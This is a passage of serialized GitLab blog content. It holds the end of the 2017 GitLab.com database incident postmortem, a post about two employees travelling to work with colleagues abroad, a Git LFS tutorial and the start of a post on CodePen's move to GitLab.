enabled for the NFS server, but not for the DB servers.\n- The synchronisation process removes webhooks once it has synchronised data to staging. Unless we can pull these from a regular backup from the past 24 hours they will be lost\n- The replication procedure is super fragile, prone to error, relies on a handful of random shell scripts, and is badly documented\n- Our backups to S3 apparently don’t work either: the bucket is empty\n- So in other words, out of five backup/replication techniques deployed none are working reliably or set up in the first place. We ended up restoring a six-hour-old backup.\n- pg_basebackup will silently wait for a master to initiate the replication progress, according to another production engineer this can take up to 10 minutes. This can lead to one thinking the process is stuck somehow. Running the process using “strace” provided no useful information about what might be going on.\n\n## Recovery\n\n\nWe’re working on recovering right now by using a backup of the database from a staging database.\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We accidentally deleted production data and might have to restore from backup. Google Doc with live notes \u003Ca href=\"https://t.co/EVRbHzYlk8\">https://t.co/EVRbHzYlk8\u003C/a>\u003C/p>&mdash; GitLab.com Status (@gitlabstatus) \u003Ca href=\"https://twitter.com/gitlabstatus/status/826591961444384768\">February 1, 2017\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n- 2017/02/01 00:36 - Backup `db1.staging.gitlab.com` data\n- 2017/02/01 00:55 - Mount `db1.staging.gitlab.com` on `db1.cluster.gitlab.com`\n- Copy data from staging `/var/opt/gitlab/postgresql/data/` to production `/var/opt/gitlab/postgresql/data/`\n- 2017/02/01 01:05 - `nfs-share01` server commandeered as temp storage place in `/var/opt/gitlab/db-meltdown`\n- 2017/02/01 01:18 - Copy of remaining production data, including `pg_xlog` tar’ed up as `20170131-db-meltodwn-backup.tar.gz`\n\n\nBelow a graph showing the time of deletion and subsequent copying in of data.\n\n![](https://about.gitlab.comdb_incident/delete.png)\n\n[Also, we'd like to thank everyone for the amazing support we've received on Twitter and elsewhere through #hugops](https://twitter.com/i/moments/826818668948549632)\n",{"slug":36431,"featured":6,"template":678},"gitlab-dot-com-database-incident","content:en-us:blog:gitlab-dot-com-database-incident.yml","Gitlab Dot Com Database Incident","en-us/blog/gitlab-dot-com-database-incident.yml","en-us/blog/gitlab-dot-com-database-incident",{"_path":36437,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36438,"content":36444,"config":36448,"_id":36450,"_type":16,"title":36451,"_source":17,"_file":36452,"_stem":36453,"_extension":20},"/en-us/blog/around-the-world-in-6-releases",{"title":36439,"description":36440,"ogTitle":36439,"ogDescription":36440,"noIndex":6,"ogImage":36441,"ogUrl":36442,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36442,"schema":36443},"Around the world in 6 releases","Two GitLab team-members spent 6 months visiting and working with 49 different colleagues in 14 countries","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684126/Blog/Hero%20Images/cover.png","https://about.gitlab.com/blog/around-the-world-in-6-releases","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Around the world in 6 releases\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Douwe Maan\"}],\n        \"datePublished\": \"2017-01-31\",\n      }",{"title":36439,"description":36440,"authors":36445,"heroImage":36441,"date":36446,"body":36447,"category":299},[23490],"2017-01-31","\n\nTwo GitLab team-members, [Robert](/company/team/#rspeicher) and [Douwe](/company/team/#DouweM), took our [\"the company will cover travel costs to visit colleagues\"](/handbook/spending-company-money/#travel-to-visit-team-members) policy and ran with it, spending six months visiting and working with 49 different colleagues in 20 cities, in 14 countries, on five continents. Read on for the who, what, why, and where.\n\n\u003C!-- more -->\n\n{: .text-center}\n[![Map](https://about.gitlab.com/images/blogimages/around-the-world-in-6-releases/robert-and-douwe-small.jpg){: .shadow width=\"600px\"}](/images/blogimages/around-the-world-in-6-releases/robert-and-douwe.jpg)\u003Cbr>\n_Douwe and Robert on the first day of the trip, just after arriving at their Washington, D.C. apartment_\u003Cbr>\n_Can you catch a glimpse of the limited-edition GitLab branded socks?_\n\n## Background\n\nOne of the great things about [remote work at GitLab](/blog/the-remote-manifesto/) is that it doesn't just mean \"work your regular 9-to-5 job from home,\" but rather \"work however you like, wherever you like, whenever you like.\"\nWe don't believe in fixed [working hours](/handbook/paid-time-off/#working-hours), prefer [asynchronous communication](/handbook/communication) for most things, encourage people to take as much [time off](/handbook/paid-time-off) as they need to run errands or just take a break from work, and the main thing we expect from our people is [results](https://handbook.gitlab.com/handbook/values/).\n\nOn the other hand, we realize that one of the downsides of remote work is that, while you may see your colleagues every day in chat and video calls, you will likely not have the chance to physically hang out with them more than once or twice a year at a summit or conference.\n\nOne of the things we do to help our team members [connect and stay connected](/blog/how-we-stay-connected-as-a-remote-company/) uses that advantage to combat the downside: we encourage everyone to [travel to visit and work with other team members](/handbook/spending-company-money/#travel-to-visit-team-members), wherever they may be, and will cover any travel costs to get there.\n(It's in the handbook, so it's true!)\n\n## The trip\n\nIn early 2016, I (Douwe) was trying to figure out how to spend the year and realized that my [remote-only](http://www.remoteonly.org/) job at GitLab gave me a unique opportunity to combine two of my favorite things: travel, and work. I decided to travel for six months, visiting [GitLab colleagues](/company/team/) around the world to get to know them better, work with them, and see some of the beautiful places our planet has to offer in the process. I dubbed it \"Around the World in 6 Releases.\"\n\nWhen Robert decided to join a few months later (his response to my invitation was a simple \"Sure\") the plan was really on.\n\nTwo weeks later, just before the release of [GitLab 8.9](/releases/2016/06/22/gitlab-8-9-released/) in June, I flew from Amsterdam to Washington, D.C. to meet up with Robert, and we spent the next six months (and six [r](/releases/2016/06/22/gitlab-8-9-released/)[e](/releases/2016/07/22/gitlab-8-10-released/)[l](/releases/2016/08/22/gitlab-8-11-released/)[e](/releases/2016/09/22/gitlab-8-12-released/)[as](/releases/2016/10/22/gitlab-8-13-released/)[es](/releases/2016/11/22/gitlab-8-14-released/)) visiting and working with colleagues all over the world, returning to our respective homes in December, just before the release of [GitLab 8.15](/releases/2016/12/22/gitlab-8-15-released/).\n\nTraveling the equivalent of 2.5 times around the equator over some 31 flights, the trip took us to\n[Washington, D.C.](https://maps.google.com?q=Washington,+D.C.),\n[New York City](https://maps.google.com?q=New+York+City),\n[Nashville](https://maps.google.com?q=Nashville),\n[Denver](https://maps.google.com?q=Denver),\n[Salt Lake City](https://maps.google.com?q=Salt+Lake+City),\n[Las Vegas](https://maps.google.com?q=Las+Vegas),\n[Mexico City](https://maps.google.com?q=Mexico+City),\n[Rio de Janeiro](https://maps.google.com?q=Rio+de+Janeiro),\n[Sofia](https://maps.google.com?q=Sofia),\n[Warsaw](https://maps.google.com?q=Warsaw),\n[Nice](https://maps.google.com?q=Nice),\n[Madrid](https://maps.google.com?q=Madrid),\n[Braga](https://maps.google.com?q=Braga),\n[Lisbon](https://maps.google.com?q=Lisbon),\n[Edinburgh](https://maps.google.com?q=Edinburgh),\n[Tel Aviv](https://maps.google.com?q=Tel+Aviv),\n[Taipei](https://maps.google.com?q=Taipei),\n[Bali](https://maps.google.com?q=Bali),\n[Sydney](https://maps.google.com?q=Sydney),\nand finally\n[Amsterdam](https://maps.google.com?q=Amsterdam)\n\nNot shown is the week between Sydney and Amsterdam that we spent in [New Zealand](https://maps.google.com?q=New+Zealand), explicitly chosen because we had no one there and because we thought we deserved a vacation after six months of non-stop travel/work.\n\n[![Map](https://about.gitlab.com/images/blogimages/around-the-world-in-6-releases/map.png){: .shadow}](/images/blogimages/around-the-world-in-6-releases/map.png)\n\nAbout halfway through the trip, GitLab CEO [Sid](/company/team/#sytses) realized the tremendous positive impact the trip was having on all of the people visiting, being visited, and following along through our team calls, and the [\"the company will cover travel costs to visit colleagues\"](/handbook/spending-company-money/#travel-to-visit-team-members) policy [was born](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/3735) to encourage more people to make trips like this in the future.\n\nNow that the trip is concluded and we've had a few weeks to reflect, I'd like to share with you some of the things we've learned during this trip.\nIn the near future, we will also publish a follow-up to [\"GitLab in Action\"](/blog/gitlab-in-action/), covering our travels through Latin America, Europe, Asia, and Oceania in more detail.\n\n## Insight 1: GitLab feels like one big team of friends\n\nOne of the first things we realized on this trip relates to one of our core values at GitLab: [Kindness](https://handbook.gitlab.com/handbook/values/#kindness).\n\nEach and every one of the people we met up with, some of whom didn't even know we were coming until just days before we arrived, welcomed us with open arms and made us feel at home in these strange cities and countries.\nMany of them invited us into their homes, introduced us to their significant others and/or [pets](/company/team-pets), and took us into town to show us their favorite places to see, work, eat, or have a drink.\n\nBecause of the glimpses we have had into each other's lives through the daily company-wide [team call](/handbook/communication/#team-call) and the dozens of chat channels about interests and hobbies, it immediately felt like we were hanging out with a friend, not just \"someone from the internet,\" or \"this person I work with.\" While early conversations often related to our single biggest shared interest – GitLab and work at GitLab – this quickly became just one of the many things we talked about.\n\nInterestingly, this was true regardless of whether they were in our department and we had already worked with them a lot, or if they did something totally different and we had never conversed before. [\"There are no floors in GitLab\"](/blog/how-we-stay-connected-as-a-remote-company/), and even though we have multiple [functional groups](/company/team/structure), GitLab feels like one big team.\n\n{: .text-center}\n![GitLab Edinburgh](https://about.gitlab.com/images/blogimages/gitlab-edinburgh.jpg){: .shadow}\u003Cbr>\n_The unofficial Edinburgh GitLab office, with (from left to right) Douwe, [James EJ](/company/team/#jamedjo), [Sean M](/company/team/#mcgivernsa), [Sean P](/company/team/#SeanPackham), [Nick](/company/team/#lupine_85), and Robert_\n\n## Insight 2: Hearing about it is one thing, experiencing it is another\n\nWith \u003C%= Gitlab::Homepage.team.members.size %> people in \u003C%= Gitlab::Homepage.team.members.group_by(&:country).size %> different countries, GitLab is the largest [remote-only](http://www.remoteonly.org/) organization in the world, with a wide range of cultures, ways of thinking, and ways of living among its people.\n\nWhile you hear about things going on in people's lives, about the places they live, and about issues they face, it's hard to truly appreciate and understand these different perspectives at a distance of hundreds, thousands, or tens of thousands of miles. Visiting them, getting to know them in their \"natural habitat\", and experiencing some bits of their life yourself, bring you closer to that understanding than anything else.\n\nAn example of this occurred when we arrived in Taipei, Taiwan to meet with [Jen-Shin](/company/team/#godfat-gitlab), and got to experience GitLab from the Asia-Pacific (APAC) region.\n\nSeen from Taipei, the European workday starts at around 4pm, and the American workday doesn't start until 10pm, so there is very little overlap with much of the rest of the team. While your mornings are nice and quiet and offer you a chance to concentrate on your work and catch up on emails and todos without interruption, that changes just when your workday is about to end. You get responses to all of the chat messages and GitLab comments you sent earlier, people start mentioning you on new things, and you are left with a choice: Do I work a little bit more and respond to them now, or do I respond in the morning, effectively blocking them until _their_ morning, a full 24 hours later?\n\nBeing the kind, helpful people we are, we chose the former, and as those things go, before we knew it the clock struck 12 and we had been working for 15 hours straight.\n\nTurns out it's really hard to stick to regular working hours when most of the people you work with are half a world away. In the end, we did what Jen-Shin had already found as working best for him: we shifted our workday a number of hours to better align with Europe. Other people work in the morning, take a break for a few hours to do whatever it is people do, and work some more in the evening. [Working hours are flexible](/handbook/paid-time-off/#working-hours), so everyone finds something that works for them. Of course, as more people from the APAC region join the team, and as our people get more evenly distributed among timezones, much of this issue will resolve itself automatically.\n\nAnother example of an issue our APAC team members face is the inconvenient timing of the daily company-wide [Team Call](/handbook/communication/#team-call): 8:30am in San Francisco, 5:30pm in Amsterdam, but 12:30am in Taipei. Of course the agenda is in a shared document, but not being able to hear or react live to the stories people share about their lives, or to share your own with the rest of the team, makes you feel like you miss out, and – in a sense – like you are being left out. To help with this, we have started [recording all of our team calls](https://gitlab.com/gitlab-com/peopleops/issues/1) including the \"what did you do this weekend?\" bit, and have a dedicated [APAC Team Call](/handbook/communication/#team-call) for those in that region and anyone else who wants to join, to give them the same regular opportunity to share stories about their lives, and to talk with colleagues about something other than work.\n\nBottom line is, hearing about these issues from a distance is one thing, but being there and experiencing it yourself is totally different.\n\n{: .text-center}\n[![Map](https://about.gitlab.com/images/blogimages/around-the-world-in-6-releases/taiwan-waterfall.jpg){: .shadow width=\"600px\"}](/images/blogimages/around-the-world-in-6-releases/taiwan-waterfall.jpg)\u003Cbr>\n_Besides a crazy timezone, Taiwan also has beautiful nature and awesome waterfalls!_\u003Cbr>\n_From left to right: Jen-Shin, his girlfriend, Robert, Douwe, and Vincent Lin, a hiker/developer friend we made_\n\n## Insight 3: People valued our visits immensely\n\nThe goal of this trip was always to visit colleagues and get to know them better. Of course, it was also a great excuse to travel, and to visit and experience some awesome cities and countries we otherwise might never have seen, or at least not with a local to show us around. We never realized, however, what kind of impact the fact that we traveled so many miles to visit and get to know them would have on some of the people we visited.\n\nSince their words do it more justice than mine, I'm going to let them speak for themselves (emphasis mine):\n\n[Marcia](/company/team/#XMDRamos), who we met in Rio de Janeiro, Brazil, along with [Douglas](/company/team/#dbalexandre) and [Felipe](/company/team/#FelipeArtur), writes:\n\n> After a few months with GitLab, it was very important to me finally meeting people in person, **it made me feel more human in our virtual world**. More exciting yet, was hanging out with such amazing guys, interested in what we have to share, in what we think about our job, how we feel about working remotely, what is awesome about GitLab and what we feel is missing. **Such openness makes us feel included, touched.**\n>\n> For our tech-generation, strengthening our relationships is essential, otherwise everything around us ends up superficial; we won’t ever feel fulfilled. As we usually spend most of our time working, it is so important to be with people, to share our concerns, to help, to collaborate, to participate, and to have moments of joy. **I feel so grateful for having met these folks face to face.** Thanks guys, and thanks GitLab for allowing us to do this kinda thing!\n\n[Pedro](/company/team/#pedromscom), who we met in Lisbon, Portugal, writes:\n\n> I believe it was a rich experience for everyone. I gave them some nice memories of Lisbon and, in return, **they brought GitLab’s values and culture to my doorstep**. As a new GitLab team-member, I was in “sponge mode”. After all, I had two experienced team members in front of me, that inhale and exhale GitLab. Also, as remote workers, it’s uncommon to spend so much time talking and hanging out with other team members. **Their stories made me appreciate GitLab even more, and I felt valued with their presence.**\n\n[Eliran](/company/team/#eliran_mesika), who we met in Tel Aviv, Israel, writes:\n\n> **Meeting with Douwe and Robert provided quality time** to work together and casually bounce around ongoing matters with them in a way that is otherwise a bit cumbersome when working remotely. I feel this sort of casual channel of communication is lacking from the remote work environment and **having a few days to work together face-to-face was a real treat.** To make things better, we were able to hang out and get to know each other on a personal level in an opportunity you might not get in a \"classic\" office setting with your colleagues. I was able to invite them over to my house, give them the tour of my home office, introduce them to my wife and tour our city together.\n\n\n## Conclusion\n\nThis trip has been one of the most, if not _the_ most, rewarding experiences of our lives. Not in the least because of the insights listed above, but first and foremost because of all of the amazing people we have gotten to connect with at a deeper level, all of the things we have experienced together, and all the beautiful places we have been able to see with them.\n\nWe would like to thank all of the people we visited for welcoming us with open arms into their cities and, in many ways, their lives. You (and everyone else at GitLab) are welcome in our homes anytime.\n\nWe would like to thank GitLab for making these things possible through [the way we work](/handbook/), for actively encouraging trips like this by covering a [significant portion of the cost](/handbook/spending-company-money/#travel-to-visit-team-members), and ultimately for having built a company with a [culture](/company/culture/) and [team](/company/team/) like no other.\n\nThis post is one in a series about this particular trip. Check out GitLab in Action [part 1](/blog/gitlab-in-action/) and [part 2](/blog/gitlab-in-action-part-2/)!\n\n{: .text-center}\n![Lisbon sticker wall](https://about.gitlab.com/images/blogimages/around-the-world-in-6-releases/lisbon-sticker-wall.jpg){: .shadow}\u003Cbr>\n_On a wall in Lisbon, Portugal: Evangelizing GitLab, one sticker at a time_\n",{"slug":36449,"featured":6,"template":678},"around-the-world-in-6-releases","content:en-us:blog:around-the-world-in-6-releases.yml","Around The World In 6 Releases","en-us/blog/around-the-world-in-6-releases.yml","en-us/blog/around-the-world-in-6-releases",{"_path":36455,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36456,"content":36462,"config":36466,"_id":36468,"_type":16,"title":36469,"_source":17,"_file":36470,"_stem":36471,"_extension":20},"/en-us/blog/getting-started-with-git-lfs-tutorial",{"title":36457,"description":36458,"ogTitle":36457,"ogDescription":36458,"noIndex":6,"ogImage":36459,"ogUrl":36460,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36460,"schema":36461},"Getting started with Git LFS","Managing large files efficiently with Git LFS","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683977/Blog/Hero%20Images/lfs-website.png","https://about.gitlab.com/blog/getting-started-with-git-lfs-tutorial","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with Git LFS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tobias Günther\"}],\n        \"datePublished\": \"2017-01-30\",\n      }",{"title":36457,"description":36458,"authors":36463,"heroImage":36459,"date":36464,"body":36465,"category":734},[20692],"2017-01-30","\n\nIt happens with the best of intentions: your design team adds their large graphic files to your project repository - and you see it grow and grow until it's a multi-gigabyte clump...\n\n\u003C!--more-->\n\nWorking with large binary files in Git can indeed be tricky.\nEvery time a tiny change in a 100 MB Photoshop file is committed, your repository grows by another 100 MB.\nThis quickly adds up and makes your repository almost unusable due to its enormous size.\n\nBut of course, _not_ using [version control](/topics/version-control/) for your design / concept / movie / audio / executables / &lt;other-large-file-use-case&gt; work _cannot_ be the solution.\nThe general benefits of version control still apply and should be reaped in all kinds of projects.\n\nLuckily, there's a Git extension that makes working with large files a lot more efficient: say hello to \"[Large File Storage](https://git-lfs.github.com/)\" (or simply \"LFS\" if you prefer nicknames).\n\n## Without LFS: Bloated repositories\n\nBefore we look at how exactly LFS works its wonders, we'll take a closer look at the actual problem.\nLet's consider a simple website project as an example:\n\n![A simple project setup](https://about.gitlab.com/images/blogimages/getting-started-with-git-lfs-tutorial/project-setup-without-big-files.png){:.shadow}\n\nNothing special: some HTML, CSS, and JS files and a couple of small image assets.\nHowever, until now, we haven't included our design assets (Photoshop, Sketch, etc.).\nIt makes a lot of sense to put your design assets under version control, too.\n\n![Big binary files in a project](https://about.gitlab.com/images/blogimages/getting-started-with-git-lfs-tutorial/project-setup-with-big-files.png){:.shadow}\n\nHowever, here's the catch: each time our designer makes a change (no matter how small) to this new Photoshop file, she will commit another 100 MB to the repository.\nVery quickly, the repository will weigh tons of megabytes and soon gigabytes - which makes cloning and managing it very tedious.\n{: .alert .alert-info}\n\nAlthough I only talked about \"design\" files, this is really a problem with all \"large\" files:\nmovies, audio recordings, datasets, etc.\n\n## With LFS: Efficient large file handling\n\nOf course, LFS cannot simply \"magic away\" all that large data: it accrues with every change and has to be saved.\nHowever, it shifts that burden to the remote server - allowing the _local_ repository to stay relatively lean!\n\nTo make this possible, LFS uses a simple trick: **it does not keep all of a file's versions in the local repository**.\nInstead, it provides only the files that are necessary in the checked out revision, on demand.\n\nBut this poses an interesting question: if those huge files themselves are _not_ present in your local repository... what _is_ present instead?\n[LFS saves lightweight pointers](https://www.git-tower.com/learn/git/ebook/en/desktop-gui/advanced-topics/git-lfs?utm_source=gitlab-blog&utm_campaign=GitLab%20LFS&utm_medium=guest-post) in place of real file data. When you check out a revision with such a pointer, LFS simply looks up the original file (possibly on the server if it's not in its own, special cache) and downloads it for you.\n\nThereby, you end up with only the files you really want - not a whole bunch of superfluous data that you might never need.\n\n## Installing LFS\n\nLFS is not (yet) part of the core Git binary, but it's available as an extension.\nThis means that, before we can work with LFS, we need to make sure it's installed.\n\n#### Server\n\nNot all code hosting services support LFS already. As a GitLab user, however, there's not much to worry about:\nif you're using GitLab.com or a halfway recent version of GitLab CE or EE, [support for LFS is already baked in](https://docs.gitlab.com/ee/topics/git/lfs/index.html)!\nYour administrator only need to [enable the LFS option](https://docs.gitlab.com/ee/administration/lfs/index.html).\n\n#### Local machine\n\nYour local Git installation also needs to support LFS.\nIf you're using [Tower](https://www.git-tower.com/?utm_source=gitlab-blog&utm_campaign=GitLab%20LFS&utm_medium=guest-post), a Git desktop client, you don't have to install anything: Tower supports the Git Large File System out of the box.\n\nIf you're using Git on the command line, there are different installation options available to you:\n\n- Binary Packages: Up-to-date [binary packages](https://github.com/git-lfs/git-lfs/releases) are available for Windows, Mac, Linux, and FreeBSD.\n- Linux: Packages for Debian and RPM are available from [PackageCloud](https://packagecloud.io/github/git-lfs/install).\n- macOS: You can use [Homebrew](https://github.com/Homebrew/brew) via \"brew install git-lfs\" or [MacPorts](https://www.macports.org) via \"port install git-lfs\".\n- Windows: You can use the [Chocolatey](https://chocolatey.org/) package manager via \"choco install git-lfs\".\n\nAfter your package manager has finished its work, you need to complete the installation with the \"lfs install\" command:\n\n```\ngit lfs install\n```\n\n## Tracking files with LFS\n\nWithout further instructions, LFS won't take care of your large file problems.\nWe'll have to tell LFS explicitly which files it should handle!\n\nSo let's return to our \"big Photoshop file\" example. We can instruct LFS to take care of the \"design.psd\" file using the \"lfs track\" command:\n\n```\ngit lfs track \"design-resources/design.psd\"\n```\n\nAt first glance, the command didn't seem to have much effect. However, you'll notice that a new file in the project's root folder has been created (or changed, if it already existed): `.gitattributes` collects all file patterns that we choose to track via LFS. Let's take a look at its contents:\n\n```\ncat .gitattributes\ndesign-resources/design.psd filter=lfs diff=lfs merge=lfs -text\n```\n\nPerfect! From now on, LFS will handle this file. We can now go ahead and add it to the repository in the way we're used to.\nNotice that any changes to `.gitattributes` also have to be committed to the repository, just like other modifications:\n\n```\ngit add .gitattributes\ngit add design-resources/design.psd\ngit commit -m \"Add design file\"\n```\n\n## Tracking file patterns\n\nAdding a specific, single file like this is all well and good... but what if you want to track, for example, _every_ `.indd` file in our project?\nPlease relax: you don't have to add each file manually! LFS allows you to define file patterns, much like when ignoring files.\nThe following command, for example, will instruct LFS to track all _InDesign_ files - existing ones and future ones:\n\n```\ngit lfs track \"*.indd\"\n```\n\nYou could also tell LFS to track the contents of a whole directory:\n\n```\ngit lfs track \"design-assets/*\"\n```\n\n## Getting an overview of tracked files\n\nAt some point, you might want to know which files exactly are tracked by LFS at the moment.\nYou could simply take a look at the `.gitattributes` file. However, these are not _actual_ files, but only rules and therefore highly \"theoretical\": individual files might have slipped through, e.g. due to typos or overly restrictive rules.\n\nTo see a list of the _actual_ files that you're currently tracking, simply use the `git lfs ls-files` command:\n\n```\ngit lfs ls-files\n194dcdb603 * design-resources/design.psd\n```\t\t\n\n## Track as early as possible\n\nRemember that LFS does _not_ change the laws of nature: things that were committed to the repository are there to stay.\nIt's very hard (and dangerous) to change a project's commit history.\n\nThis means that you should tell LFS to track a file _before_ it's committed to the repository.\n{: .alert .alert-info}\n\nOtherwise, it has become part of your project's history - including all of its megabytes and gigabytes...\n\nThe ideal moment to configure which file patterns you want to track is right when initializing a repository (just like with [ignoring files](https://www.git-tower.com/learn/git/ebook/en/desktop-gui/basics/starting-with-an-unversioned-project?utm_source=gitlab-blog&utm_campaign=GitLab%20LFS&utm_medium=guest-post#chapter_ignoring+files)).\n\n## Using LFS in a GUI\n\nAlthough LFS is not difficult to use, there are still commands to remember and things to mess up.\nIf you want to be more productive with Git (and LFS), have a look at [Tower](https://www.git-tower.com/?utm_source=gitlab-blog&utm_campaign=GitLab%20LFS&utm_medium=guest-post), a Git desktop client for Mac and Windows.\nSince Tower comes with built-in support for Git LFS, there is nothing to install. The app has been around for several years and is trusted by over 80,000 users all over the world.\n\n![Using Tower to be more productive with Git and Git LFS](https://about.gitlab.com/images/blogimages/getting-started-with-git-lfs-tutorial/tower-lfs.gif)\n\nAdditionally, Tower provides a direct [integration with GitLab](/blog/gitlab-tower-integration-coupon-code/)! After connecting your GitLab account in Tower, you can clone and create repositories with just a single click.\n\n## Working with Git\n\nA great aspect of LFS is that you can maintain your normal Git workflow: staging, committing, pushing, pulling and everything else works just like before.\nApart from the commands we've discussed, there's nothing to watch out for.\n\nLFS will provide the files you need, _when_ you need them.\n\nIn case you're looking for more information about LFS, have a look at this free [online book](https://www.git-tower.com/learn/git/ebook/en/desktop-gui/advanced-topics/git-lfs?utm_source=gitlab-blog&utm_campaign=GitLab%20LFS&utm_medium=guest-post).\nFor general insights about Git, take a look at the [Git Tips & Tricks](/blog/git-tips-and-tricks/) blog post and Tower's [video series](https://www.git-tower.com/learn/git/videos?utm_source=gitlab-blog&utm_campaign=GitLab%20LFS&utm_medium=guest-post).\n\n## About Guest Author\n\nThis is a [guest post](/handbook/marketing/blog/#guest-posts)\nwritten by [Tobias Günther](https://twitter.com/gntr), who is part of the team behind the [Tower Git client](https://www.git-tower.com/?utm_source=gitlab-blog&utm_campaign=GitLab%20LFS&utm_medium=guest-post).\n\nCover image: screenshot of [Git LFS](https://git-lfs.github.com/)\n{:.note}\n",{"slug":36467,"featured":6,"template":678},"getting-started-with-git-lfs-tutorial","content:en-us:blog:getting-started-with-git-lfs-tutorial.yml","Getting Started With Git Lfs Tutorial","en-us/blog/getting-started-with-git-lfs-tutorial.yml","en-us/blog/getting-started-with-git-lfs-tutorial",{"_path":36473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36474,"content":36480,"config":36484,"_id":36486,"_type":16,"title":36487,"_source":17,"_file":36488,"_stem":36489,"_extension":20},"/en-us/blog/codepen-welcome-to-gitlab",{"title":36475,"description":36476,"ogTitle":36475,"ogDescription":36476,"noIndex":6,"ogImage":36477,"ogUrl":36478,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36478,"schema":36479},"CodePen, welcome to GitLab!","Yes, it's worth it - CodePen has moved to GitLab!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666619/Blog/Hero%20Images/codepen-welcome-to-gitlab-cover.png","https://about.gitlab.com/blog/codepen-welcome-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CodePen, welcome to GitLab!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2017-01-27\",\n      }",{"title":36475,"description":36476,"authors":36481,"heroImage":36477,"date":36482,"body":36483,"category":813},[34953],"2017-01-27","\nWe were so glad to hear that [CodePen] switched to GitLab!\n\nRead through the ins and outs of their move! 😃\n\n\u003C!-- more -->\n\n----\n\nI'm a big fan of CodePen. Their product is awesome: it's\nintuitive, beautiful, works like a charm, and it's really easy to use.\nTheir community's work is evolving – we could spend hours playing around\nwith pens like this, [created][pen] by [Jase Smith]:\n\n\u003Cp data-height=\"300\" data-theme-id=\"23203\" data-slug-hash=\"dNVaae\" data-default-tab=\"js,result\" data-user=\"virtuacreative\" data-embed-version=\"2\" data-pen-title=\"Spock! Paper Scissors\" class=\"codepen\">See the Pen \u003Ca href=\"http://codepen.io/virtuacreative/pen/dNVaae/\">Spock! Paper Scissors\u003C/a> by Virtua Creative (\u003Ca href=\"http://codepen.io/virtuacreative\">@virtuacreative\u003C/a>) on \u003Ca href=\"http://codepen.io\">CodePen\u003C/a>.\u003C/p>\n\u003Cscript async src=\"https://production-assets.codepen.io/assets/embed/ei.js\">\u003C/script>\n\nWhen I heard that they had switched to GitLab, I was thrilled! Yaaay!\n&nbsp;\u003Ci class=\"fas fa-codepen\" aria-hidden=\"true\">\u003C/i>\n&nbsp;**CodePen, welcome to GitLab!**\n&nbsp;\u003Ci class=\"fab fa-gitlab\" aria-hidden=\"true\">\u003C/i>\n\nThey're very cool folks, and their [team][team] is making such an\nawesome product! They're also [remote only](https://www.remoteonly.org/), like us.\n\nListen to their podcast [Codepen Radio - 114 - GitLab](https://blog.codepen.io/2017/01/24/114-gitlab/), which details why they moved and how it\nwent. If you'd rather read, we've included some of the highlights below.\n\n## Highlights\n\n{::options parse_block_html=\"true\" /}\n\n\u003Cdiv class=\"panel panel-gitlab-orange\">\n### \u003Ci class=\"fas fa-cog fa-fw\" aria-hidden=\"true\">\u003C/i> Control\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n5:18. The first thing they talked about is \"control\".\n\n7:45. They can't rely on a third-party service to deploy\ntheir code. Whenever there's downtime, there's nothing they can do about it. With a self-managed GitLab instance,\nthey have the ability to exercise control over their server and everything else.\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n### \u003Ci class=\"fas fa-lock fa-fw\" aria-hidden=\"true\">\u003C/i> Security\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n10:00. Because it's self-managed, they feel much more protected from hacker attacks and system breaches.\nThey have their own private network space in which they run GitLab.\n\n> 12.35. _We have control, we have code in our own network, we have higher security._\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-orange\">\n### \u003Ci class=\"fas fa-code fa-fw\" aria-hidden=\"true\">\u003C/i> Open source &amp; Cost\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n> 13:00. _The open source version of GitLab [[CE]] is 100% free. You can install it on your own server._\n\nThey decided to go for [GitLab EE Starter][ee] for having certain great features available only on EE, such as [Multiple Issue Boards][boards], and [fast-forward merge](https://docs.gitlab.com/ee/user/project/merge_requests/methods/index.html).\n\n> 14:26. _[GitLab EE] is not terribly expensive, and we're also supporting open source development._\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n### \u003Ci class=\"fas fa-sync-alt fa-fw\" aria-hidden=\"true\">\u003C/i> Continuous Integration and Continuous Deployment\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n15:40. Finally, they don't need to rely on third-party services to apply Continuous Integration to test and\ndeploy their code. [GitLab CI][ci] does this job, and it's built-in in GitLab.\n\n> 16:34. _Because this [CI] runs internally, and because we have access to our own VPC and resources inside of it, like Docker stuff, and AWS EFS stuff, we can actually take a step further and not just test our stuff, but grab it and deploy it._\n\n> 16:58. _In our case, [GitLab] give you tools to make [Continuous Integration, Continuous Testing and Continuous Deployment][ci-cd] really, really simple. And that, to me, is the biggest sell of them all. That's simply not available on GitHub._\n\nThey also enjoy not having to deploy from the command line, as it was impossible to track.\n\n17:15. They love our [Pipelines][pipes], where the entire team can see what's going on and who's doing what. The steps are visible.\n\n> 17:27. _It's very clear, in GitLab, whether a build on staging has actually been pushed to production. So, if I'm going to deploy something to production, I can very easily 